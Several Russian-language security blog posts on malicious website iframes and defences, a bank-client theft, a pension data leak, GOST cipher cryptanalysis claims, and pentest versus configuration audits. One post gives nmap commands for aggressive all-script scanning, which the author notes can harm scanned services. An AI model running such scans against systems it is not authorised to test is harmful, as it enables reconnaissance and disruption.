Можно, пройти по этим iframe и покачать бинарники, попостить их на www.virustotal.com, от чего настроение ухудшится ибо хочется верить в эффективность моего антивируса.

Скажу сразу, что не все, что мы тут выкачивали из этих iframe-ов было зловредом. Такая же "технология" используется для интернет рекламы, сбора статистики посещений и раскрутки сайтов через счетчики посещений (заходя на сайт "скрыто из этических соображений" пользователи невольно заходят еще куда-то что фиксируется всякими трейсерами и кликосчетчиками). Вообще, зловред загружается со специального хостящего сайта, что создает широкое поле для фантазии админа сайта хостящего зловреды. В целом, могу предположить, что этим можно и неплохо зарабатывать.

Что же делать?

Безусловно, надо людям помогать, писать письма в сайты, что у них поселилось что-то. Но опыт показывает, что трудозатрат эти переписки стоят, а эффекта никакого: после нашей переписки с "скрыто из этических соображений" (известный сайт новостей) "что-то" было-таки удалено, но вскоре (на следующий день) появилось снова. Надо надеяться на себя. Что планируется предпринять:

1. Ужесточить загрузку бинарников из Интернет: загружать могут только кому надо, только откуда можно, только что нужно.
2. Если пользователь имеет мощные права (тем более админ домена, админ серверов критичных, хелпдеск с правами админа на всех десктопах и пр) - никакого интернет.. Отключить JavaScript в Acrobat-е. Можно через интерфейс - найти несложно, можно через реестр (предпочтительно, если операцию следует проделать, скажем, на 15 000 компьютеров):
HKCU\Software\Adobe\Adobe Acrobat\10.0\JSPrefs\bEnableJS = 0
4. Отключить все ненужные плагины в браузере. Вам нужно, чтобы документ Adobe показывался прямо из IE или Mozilla-ы? Мне это крайне неудобно.
5. Стараться ставить все обновления на Flash, Java, Adobe, Office.
6. Подумать об использование персональной HIPS или использовать сетевую IPS в активном режиме. Если антивирусы мертвы, то почему IPS - нет? Не знаю, но опыт показывает, что в конкретных сетевых атаках IPS достаточно эффективна. Смею предположить, что это связано с тем, что у IPS история короче и они не имеют еще многомегабайтных баз, а также с тем, что IPS фиксирует метод атаки, а антивирус конкретный контент (payload). Все-таки методов атак пока меньше, чем вариантов передаваемого зловреда. Последнее в защиту IPS: да, она шумит кучей событий, но опытному глазу этот шум помогает, а не мешает. Может, использование нейросетей и/или AI в антивирусах когда-нибудь станет реальностью и он будет так же эффективен сам собой, как (шумная IDS + опытный глаз), но пока счет не в их пользу. В целом, идея коллективной безопасности (или "безопасности из облаков") тут может быть эффективно, но тут диалектическая проблема: Зла уже столько, что перечислять его все уже менее эффективно, чем перечислять Добро.
7 (самое радикальное). Перейти на системы белого списка. Это как антивирус, только на оборот: они, в отличие от антивируса, который блокирует все Зло, - не блокируют Добро, но блокируют все остальное. Системы типа LAC или SolidCore и т.п. помогут.

Если у кого будет что добавить к написанному, буду крайне признателен.


ЗЫ: я тут вот писал этот пост, вставлял фрагменты с iframe, потом нажал Publish Post и начал его смотреть. Смотрю, а все мои iframe-ы из примеров выполнились и пытаются показать свои src. Да, блоги еще то зло - даже ломать ничего не надо!

моя полиция меня бережет

Так случилось, что 6 дней назад в конторе у знакомого со счета было украдено почти 600т.р. через программу клиент-банк. По несчастливой случайности, в момент кражи на компьютере удаленно работал аутсорсер. Но, к счастью, спустя незначительное время после перевода денег, директор запросил остатки на счету, тут то пропажа и выплыла.

Контора знакомого выполняет следующие действия:

1. комиссионно опечатывает компьютер, на котором стоял клиент-банк, запирает компьютер в сейф.

2. пишет заявление в полицию о попытке кражи

3. пишет заявление в банк, о с просьбой провести проверку

Аутсорсер:

1. фиксирует все журналы работы

2. бекапит телефонные переговоры в момент обслуживания

Ждем доблесную полицию. Ничего не трогаем, хотя руки чешутся посмотреть компьютер.

У полици есть 3 дня на рассмотрение заявления. В особых случаях, заявление рассматривается до 10 дней. У нас особый случай. Ждем....

Сегодня выясняется, коли кражи денег не случилось и средства вернулись счастливому хозяину, в возбуждении дела скорее всего будет отказано. Обидно. Государство дает шанс гадам попытаться украсть деньги еще раз.

Звоним в банк - ребяты, мы ваши клиенты, давайте поищем гадов вместе! В ответ слышим - ваше заявление отправлено в головной офис на рассмотрение. Ждите ответа. Опять обидно. Не смотря на то, что у банка есть возможность уберечь своих клиентов от жуликов, банк предпочитает соблюсти все внутренние бюрократические процедуры.

Ждем истечения 10ти рабочих дней и вскрываем пломбы...

Кстати о банке - это сбербанк.

Первая рекомендация - ставьте смс-информирование на движение денег по счету.

Пенсионный фонд, накопления там и ПДн

Ровно такая же история случилась с одной моей знакомой, только не там где-то, а здесь, в Московской области. Только в нашей истории не было известно кто что подделал и как какие данные утекли. Моя знакомая также получила извещение типа: "Поздравляем вас с переводом пенсионных сбережений куда-то".
Моя знакомая не поленилась, направилась в местный орган "по работе с клиентами" пенсионного фонда РФ. Где ей "вежливые" женщины сообщили, что ее данные "утекли", что позволило злоумышленникам перевести ее пенсионные сбережения. Причем, сказано это было с таким спокойствием, как-будто это абсолютно обычная ситуация. "Ну и что же делать?", - спросила моя знакомая. "Ну, вы можете обратиться в милицию...", - ответили "вежливые" женщины....

Вообще, я в шоке, был изначально, но сейчас начинаю понимать, что к ряду вещей следует начинать относиться как к обыденности. Сначала мы удивлялись и возмущались тому, что пенсионный фонд ежегодно воруют, сейчас, если мы и обращаем внимание на эти новости, то лишь улыбаемся. Пенсионный фонд сейчас уже не более чем кормушка чинуш, бесцелевой налог, акциз. Я уверен, что если я и доживу до пенсии, несмотря на то, что я всю жизнь туда исправно перечисляю далеко некислые деньги (которых бы с запасом хватило, чтобы прокормить моих родителей-пенсионеров, но, как и все российские пенсионеры, они получают пенсию, которая ниже прожиточного минимума), после 60 лет я обречен волочить нищенское существование. Можно пытаться возразить, что работающих мало, а пенсионеров много и на всех не хватает.... Вот лично я почему-то в это не верю, так как очевидно, что:
1. далеко не все в РФ доживают до пенсии, не так уж и много их.
2. если я перечисляю в пенсионный фонд такие сбережения (я себя считаю низшей границей среднего класса), то что говорить о людях, получающих белую зарплату в 10 раз большую чем я? В 20 раз? Да таких отчислений хватит, чтобы содержать не один райцентр Саратовской области.
3. я не помню ни одного года, когда бы не стало известным, что в очередной раз своровали пенсионный фон. Складывается впечатление, что его только и делают, что воруют, а мы, традиционно, видим только вершину айсберга.
4. а что же наши сопрограммы? О них тоже гремит слава постоянных хищений...

В общем, денег должно хватать, с пороками бороться надо.

Ну а что же моя знакомая? Ну конечно она не пошла в милицию выяснять как пенсионный фонд "не защитил" ее персональные данные и почему ему 152-ФЗ по барабану. Она, как и я, не верит в Пенсионный фонд, в то, что от него к нашей с ней пенсии что-нибудь останется, что его когда-нибудь перестанут воровать, что чинуши действительно начнут развиваться духовно, а не показательно креститься перед телекамерами в дни православных праздников, что жить мы будем в старости лучше наших родителей.... жаль....

эффективность против порядка

Вы отвечаете за защиту периферии в компании. Написали множество регламентов, просматриваете журналы, проводите занятия и тп.

В компании стоит... ну скажем 1000 компьютеров, мышками которых возит 1000 сотрудников. Для ремонта мышек и их подключения, в компании создана служба технической поддержки из нескольких сотрудников.

У сотрудника возникают проблемы с мышкой во момент Х.

Так как мышки ломаются не чаще раза в 2 года, сотрудник втечение Х1 единиц времени думает, как решить проблему, стучит мышкой по столу, смотрит в красный глаз, курит, снова стучит и наконец, в соответствии с регламентом, звонит на телефон 22232232 (читать с выражением) и сообщает о сути проблемы.

Телефонная сотрудница регистрирует заявку в "электронной системе электронных заявок" которая электронно, по электронной почте сообщает сотрудникам технической поддержки о возникновении проблемы.

Через время Х2 сотрудник технической поддержки обращает внимание на сообщение и откладывает его в пачку сообщений, которые предполагают поход в одно крыло здания.

Спустя Х3 единиц времени он выходит в направлении неисправной мышки и спустя Х4 единиц, он ситуацию исправляет.

Итого, на устранение неисправности ушло Х1+Х2+Х3+Х4 единиц времени. В реальной жизни это время составляет от пары часов до пары дней. Все это время сотрудник сидит и полукоматозном состоянии изучает символы на клавиатуре, сообщая руководству о невозможности исполнения служебных обязанностей.

И вот находится человек, который умеет ремонтировать мышки! Но так как он двигает мышь удивительно быстро и эффективно, руководство не может использовать его как техническую поддержку, получая большую отдачу от него как от двигателя мыши.

Наступает момент Х, мышь у этого человека ломается! Или он регулярно находит способы сделать мышь лучше и быстрее! Или еще хуже, он делает заявки и получает форсированные мыши 1го, затем 2го и, наконец ,7го поколения с азотным ускорителем.

В первый раз он звонит на волшебный номер и ждет в течение Х2+Х3+Х4 человека, которому компания доверила техническое обслуживание мышей. Но начальство нервничает, ведь оно привыкло видеть отдачу от сотрудника.

Во второй раз и третий недовольство руководства растет....

На четвертый раз наш волшебный сотрудник рассуждая "ведь моя Компания платит мне заработную плату и я не в праве сидеть, сложа руки, в то время, когда от меня ждут новых и четких движений мышью" принимает решение "я могу и я должен сам исправить проблемы мыши моего компьютера".

О, ужас! Он не звонит в техническую поддержку, он не ловит системотехника в коридоре за руку! Он.... Как трудно сдержать гнев! Он нарушает стандарт утвержденный руководителем компании! Он, он... Он сам переподключил мышь! Коллеги в шоке, но они понимают - все это во благо компании!

А радары службы безопасности не зря потребляют электроны один за другим. Они сигнализируют красными лампами и зуммерами о нарушении, маркируя нарушителя несмываемой краской!

И вот комиссия из 3-х сотрудников сметая все на своем пути мчится к месту проступка. Нарушение будет задокументировано, нарушитель брошен в казематы, руководство уведомлено о нарушении и высокой степени эффективности новых красных ламп приобретенных взамен старых зеленых.

Вроде все хорошо:

1. Нарушитель пойман и наказан
2. Лампы сработали
3. Системотехники не будут мучаться с нестандартными мышами и их труд по замене стандартных девайсов будет проще и дешевле
4. Служба безопасности получает медали и премии
5. Руководство спит спокойно, зная, что компания в теплых и сильных руках службы безопасности.
6. Выпущена молния, в которой описана темная дорога нарушителя, а так же условия его нынешнего содержания.

Но откуда-то появляется кисловатый привкус:

1. Средняя эффективность использования мышей упала
2. Сотрудники стараются не отклоняться от утвержденных траекторий движения
3. Сломанных мышей начинают бояться и на всякий случай отправляют в неоплачиваемый отпуск их пользователей.

Разностный криптоанализ ГОСТ 28148-89

Узучая тему решил почитать другие труды Куртуа. Недолгие поиски (в статье о "взломе" ГОСТ есть ссылка) навели на данную публикацию.
Первые несколько глав посвещены общей информации о ГОСТ, его истории. Таким образом, читать можно начинать с главы 4. Далее идут сведения о разностном криптоанализе сокращенного ГОСТ из 16 и 20 раундов, известные и ранее.
Основной вывод представлен на странице 20, в конце главы 8.3. Из него следует, что для успешного взлома 32-раундного ГОСТа по схеме KPA с вероятностью 50% необходимо 2^64 пар шифртекст/открытый текст и сложность такого взлома будет 2^226. Более того, статья так написана, что даже этот вывод далеко не очевиден, но "компенсируется" многократными утверждениями, что этот вопрос будет прорабатываться/исследоваться в будущем.

В целом, за ГОСТ я спокоен, данный труд, как и прежде, не имеет практического применения.

Может, это информационная война? Кого с кем?

Yandex планирует оповещать администраторов сайтов об утечках данных

Любопытное заявление... а еще Яндекс может всех сканировать каким-нибудь Web-сканером безопасности и сообщать им всем об обнаруженных уязвимостях (только аккуратно, чтобы это не сильно отклонялось от работы кравлера-индексатора). В двух режимах:

• бесплатно
• за сервис

Также Яндекс позднее сможет войти на рынок решений DLP, если его распознавание ПДн будет успешным (а оно будет успешным, RUNET — тестовая площадка!).

Я только что-то не понимаю, как это будет трактоваться с т.з. ФЗ-152. Может Яндексу сразу в Роскомнадзор сообщать: "...нарушен закон об обеспечивании безопасности ПДн, данные скомпрометированы, вот доказательства..." или Яндекс, наоборот, будет не сообщать регуляторам, а тайно помогать операторам ПДн обеспечивать их безопасность. Первое поведение — не этично по отношению к операторам ПДн, второе — по отношению к субъектам ПДн. Что же делать ??

О государственной безопасности

При таком раскладе есть два варианта развития событий.
1. высокоморальный человек уйдет работать "на рынок".
2. свинья (или человек, которого просто не воспитывали), назависимо от интеллекта (хотя, хочется верить, что уровень интеллекта хотя бы как-то коррелирует с пониманием об этике), будет размножать коррупцию.

При первом варианте мы получим отсутствие людей на этих позициях в принципе, либо непрофессионалов. Поскольку это не так (все-таки там кто-то работает и квалификация какая-то есть), делаем весьма нехороший вывод, который меня, как патриота, угнетает...

В общем, мы имеем то, что имеем :-((

ГОСТ 28147-89 НЕ взломан, пока...

Не писал бы, но, видимо, надо. После ряда публикаций в весьма авторитетных источниках даже среди своего небольшого отдела стал наблюдать какую-то истерию, хотя, на мой взгляд ничего не изменилось. Попробую изложить факты
1. Я не видел в открытом доступе ни одного нормального доказательства утверждений Куртуа. Исследование Таканори Исоби, доступно только в виде презентации на FSE 2011 из которой мало что понятно. Попытки найти что-нибудь об "Algebraic Complexity Reduction" (ссылка [12] в статье Куртуа) закончились неуспешно (если у кого есть что, пожалуйста, комментарьте!), за исключением вот этого (собственно, из самой статьи):
"The main idea is as follows: In order to reduce the attack complexity, we
exploit the self-similarity of the cipher and add some well-chosen assumptions
which produce interesting and sometimes quite non-trivial consequences due to
the high-level structural properties of the cipher, which makes cryptanalysis
problems smaller, simpler and easier to solve." В целом, стандартный подход для любого криптоанализа, только, как следствие, подобный метод будет работать только при строго определенных условиях (на ключах с определенными зависимостями, или на специальных открытых текстах или и то и другое, или "специальные" S-блоки и т.п.), что крайне ограниченно может применяться на практике (но, тем не менее, полезно для академической науки).
2. Сама статья Куртуа больше похожа на научно-популярный труд типа Прикладная криптография, (не упущу заметить, что книжка Шнаера - очень хорошая и я всем рекомендую ее почитать), где излагается общая структура ГОСТа, его история и прочее на уровне Википидии. SecLab предложил практически дословный ее перевод. Из нее ничего не следует, кроме голословных утверждений.
3. Размер блока ГОСТа - 64 бита. Если мы знаем 2^64 пар открытый текст - шифртекст - это и есть все, что нам нужно знать :-) Это - полный перебор, нам ключ не нужен, так как у нас есть все возможные открытые тексты и соответствующие (биективно!) им шифртексты.
4. На практике атаку KPA, накопив 2^64 (да и 2^32, как требует Исоби) пар открытый текст - шифртекст, невозможно, так как сессионный ключ меняется ЗНАЧИТЕЛЬНО чаще.
5. Все показанные успешные компрометации ГОСТа крутятся около 8-раундной "модификации", тогда как в оригинальной реализации из 32 (!). То, что ГОСТ обладает плохими диффузионными свойствами и это компенсируется количество раундов - давно известно, здесь как раз это и эксплуатируется.
6. Отдельно про презентацию Исоби хочется отметить, что даже когда вы-таки сподобились и как-то насобирали 2^32 пар шифртекстов и открытых текстов (C/P), сложность атаки остается 2^225 (См. слайд "Result" его презентации). У меня проблема, я не могу с ходу понять что мне, как взломщику, проще: выполнить обычный перебор из 1 пары C/P и сложностью 2^256 или наловить 2^32 C/P, провести с этим какие-то шаманства "Reflection Meet-In-The-Middle" (R-MITM) и отбрутофорсить выделенные этим шаманством "Surviving Key Space", причем общая сложность будет 2^225, что, в общем-то не сильно отличается от 2^256.... Думайте сами.

Итого: Тяжело оценить вклад Куртуа/Исоби в практику компрометации ГОСТа (в основном, очень мало информации - может, в этом и секрет, что секрета просто нет :-)) => не стоит делать поспешных выводов и, тем более, тратить нервную систему.

nmap подумает за нас

Достаточно давно в сканере портов nmap ввели функционал скриптов, которые выполняют высокоуровневые проверки в процессе сканирования портов. Многие не используют данную замечательную возможность, так как считают, что при этом нужно знать названия скриптов.
В случае готовности отступить на шаг назад и не требовать от nmap'а детального анализа, можно выполнять сканирование в режиме "проверить все". При этом оставаясь script-kiddie мы чувствуем себя like hacker.
Если для Вас не важно, как будут чувствовать себя сервисы в аудируемом сегменте сканируйте следующей командой:
nmap -A -PN --script=all --reason
Если же Вам жаль проверяемого и Вы хотите исключить потенциально опасные скрипты:
nmap -A -PN --script=default --reason
или
nmap -A -PN -sC --reason
Есть еще варианты, но стоит ли засорять ими мозг? Разом ударить из всех орудий - что может быть проще и громче?!

Антивирус мертв?

Ну и кто после подобного опровергнет утверждение: "Антивирус мертв"?!
В любом случае, наверное, следует согласиться с Шнаером что он лучше, чем его отсутствие.

Защищаться от пентестера?

Идеологически неправильная статья! Не пойму, зачем мне мешать пентестеру, тянуть его время и пр., - он же на меня работает!
Понятно, что на его месте может быть реальный злоумышленник, и пока он сражается с моими honeypot-ами, я его обнаружу IDS-ами, но так и надо же писать. А то: "мы будем мешать пентестеру", мы тут не в кошки-мышки играем!

Нужен ли Вам пентест после внедрения?

Совсем немного времени прошло с момента публикации о доверии пентестеру. В двух словах, тогда я пытался показать, что провести оценку качества работы пентестера крайне сложно, а, следовательно, весьма затруднительно судить об эффективности (как “effectiveness”, так и “efficiency”) такой работы, что, в конечном итоге, сводит к нулю возможность проведения всяких cost/benefit анализов. Сейчас я попытаюсь порассуждать вообще на тему необходимости проведения аудита в режиме теста на проникновение в сравнении с т.н. Анализом защищенности.

Сначала разберемся с терминологией. Здесь под «тестом на проникновение» я понимаю аудит, в рамках которого производится попытка имитации действий вероятного злоумышленника с целью получения неавторизованного доступа. Принципиально здесь то, что а) сведения о конфигурации системы у аудитора ограничены (в реальной жизни зачастую – это blackbox-тестирование), б) аудитор пытается эксплуатировать выявленную уязвимость, довести ее до проникновения.

Под «анализом защищенности» я буду понимать полностью открытый аудит (whitebox-тестирование), в рамках которого производится проверка конфигурации системы и сопоставление ее с соответствующими рекомендациями производителей и независимых экспертов. Принципиально здесь то, что а) аудитор располагает полнейшими сведениями о конфигурации системы, б) аудитор удовлетворяется тем, что выявил уязвимость, которая, по сути, является не чем иным, как расхождением с какой-либо «лучшей практикой», не пытается ее эксплуатировать.

Заказывая аудит, я не склонен играть в «кошки-мышки». Я заинтересован, чтобы аудитор отработал максимально эффективно, для чего логично предоставить ему максимально возможное количество информации о проверяемой системе. Аудитор работает на меня, мне выгоден сценарий whitebox-тестирования. Да и в реальной жизни надежнее полагать, что злоумышленнику известно больше, чем мы ожидаем.

Теперь немного об уязвимостях. Крайне крупно их можно подразделить на:

• Уязвимости непосредственно самого ПО. Они полностью на совести разработчика и могут быть исправлены, главным образом, только им самим (выпущено исправление).
• Уязвимости конфигурации. Они возникают ввиду неправильной настройки системы. В конечном итоге их можно свести к нарушению каких-либо рекомендаций кого-либо («лучших практик»).

Классическая ситуация на коммерческом предприятии, в задачи которого не входит финансирование исследований в области информационной безопасности, состоит в том, что:

• Процесс установки обновлений используемых программных продуктов отстроен: обновления ставятся своевременно, в соответствии с рекомендациями производителей ПО.
• Новые системы представляют собой, как правило, «коробочные» решения, разработанные известными производителями ПО, внедренные внешними подрядчиками или своими силами.

В целом, я работаю на коммерческом предприятии, и ситуация у меня ровно такая же. Производитель коробочного решения мне гарантирует, что он сделает все возможное для того, чтобы его ПО было безопасным. Для этого у него есть отработанная процедура выпуска обновлений безопасности. Причем, обычно, эксплоит «в природе» появляется позже, чем производитель моего ПО публикует advisory и выпускает заплатку. Мои доблестные ИТшники имеют настолько хорошо отлаженный процесс установки обновлений, что на момент выхода эксплоита, нужный патч уже стоит. Ну, а если эксплоит появился раньше, чем производитель моего ПО смог обнаружить у себя уязвимость (zero-day), то и здесь мировое сообщество, производители решений безопасности (например, IPS и AV, оборона должна быть эшелонированной!), да и сам производитель ПО, меня не оставят – предложат обходные/временные варианты, которые смогут значительно снизить вероятность эксплуатирования zero-day-я, пока разработчик ПО не исправит проблему. В общем, вероятность быть компрометированным из-за уязвимости «коробочного» ПО крайне мала, при условии, что я выполняю все рекомендации его производителя (а это надо делать!). Более того, на процесс повышения безопасности коробочного ПО крайне сложно влиять: я не защищусь от уязвимости никак, пока производитель не выпустит advisory. Так стоит ли мне искать такие уязвимости? Очевидно, нет. Как выйдет патч, он будет установлен, независимо от того, чьими ресурсами было произведено исследование узявимости. Итого, уязвимости непосредственно самого ПО мне искать нет необходимости.

Другое дело – уязвимости конфигурации. Есть масса причин почему вероятность их возникновения достаточно высока – от недостаточной квалификации подрядчика или «своих сил», до действительно высокой сложности выполняемых настроек. Но, в отличие от «дыр в ПО» на такие уязвимости можно самостоятельно влиять. Анализ защищенности мне здесь поможет. Кропотливо, внимательнейшим образом, провести полный анализ настроек на предмет наличия уязвимостей конфигурации. Выявленные проблемы соответствующим образом исправить. Очевидно, это сразу приведет к повышению безопасности моей системы.

Теперь поговорим об эффективности видов аудита.

Тест на проникновение способен выявить оба типа уязвимостей. Но его effectiveness достаточно низкая, поскольку:

• Гарантировано не все уязвимости будут им выявлены, поскольку классический сценарий ближе к blackbox, тогда как whitebox для поиска уязвимостей конфигураци, очевидно, продуктивнее.
• Уязвимости самого ПО вообще нет смысла искать, так как их обнаружение не ведет к повышению безопасности ПО, пока производитель не выпустит advisory.

Не велика и его efficiency, поскольку, мне не надо показывать «фокус» – не надо демонстрировать, что уязвимость может быть эксплуатирована, я верю написанному в advisory и так. Был показательный случай. У меня работали аудиторы, делали пентест. Отсканировали nmap-ом с флажком –v (показывать версии), узнали, что стоит уязвимый sendmail, в котором можно через переполнение буфера и получить shell пользователя root. В целом, мне этой информации достаточно: sendmail надо либо остановить (в том случае надо было делать именно так, так как он не использовался), либо обновить на неуязвимую версию. Но мы играем в пентест, а значит, мы должны довести уязвимость до эксплуатирования. Аудиторы обшарили весь интернет, но так и не нашил эксплоит для моей операционной системы (HP-UX), есть под SUN Solaris, под RedHat Linux, а под HP-UX на PA-процессоре – нет. Что ж, как я говорил, я заинтересован помогать аудиторам, ­- я нашел им такое же железо с такой же ОС и тем же Sendmail-ом. У них в команде был программист, который убил несколько дней на упражнения с gdb, но так и не написал эксплоит… И это эффективная трата ресурсов?

Анализ защищенности не способен выявлять уязвимости самого ПО. Да это и не надо! Зато уязвимости конфигурации по сценарию whitebox им будут выявлены очень даже хорошо. Вера в effectiveness такого аудита у меня значительно выше: скорее всего большая часть «косяков» будет успешно найдена и исправлена. С efficiency тоже все понятно – как минимум, не надо тратить время на эксплуатирование уязвимости, особенно, на написание эксплоитов.

Итого:

• Если в проекте вы не разрабатываете ПО, а используете «коробочные» решения и настраиваете их – вам не нужен пентест, тщательный Анализ защищенности – ваш выбор.
• Если вы разрабатываете ПО и есть возможность провести анализ кода – тщательный Анализ защищенности и code review – ваш выбор.
• Если вы разрабатываете ПО и исходников нет, - тут только пентест, может, что-то выявится. Но настройки, как и прежде, лучше посмотрит Анализ защищенности.

Эффективность Анализа защищенности косвенно подтверждается рынком, - как правило, он значительно дороже, чем пентест.

PS: Перечитал написанное. Может сложиться неправильное впечатление, что пентесты не нужны как класс. Совсем нет! Просто, все хорошо к месту. Возможна ситуация, когда действительно есть задача поиграть с «черные шляпы» и «белые шляпы». Ну, например, ИТ и ИТ-безопасность у меня аутсорсятся и есть задача проверить, насколько хорошо я защищен. Логично в этой ситуации именно провести пентест на мою информационную систему, и тем самым проверить насколько мои аутсорсеры хорошо выполняют наше с ними SLA. Почему логично пентест? Потому что он а) дешевле, как следствие, быстрее, б) нагляднее, как для проверяемых ИТшников и Безопасников, так и для меня-заказчика: приближен к реальным условиям, сразу показывает неоспоримый результат, в) можно действительно остановиться после первого же успешного взлома – задача показать возможность взлома при данном уровне работы аутсорсера, найти все остальные варианты реализации взлома – уже факультативно. Подумав, можно найти и другие случаи, когда пентест – лучший выбор, но всегда перед заказом аудита обязательно внимательно проанализируйте цели этой работы, решите, что вам нужно. Не надо тут полагаться на мнение подрядчика-аудитора, - он вам продаст все, что умеет, для него - это бизнес, но никто и ничто не заменит вам вашу логику.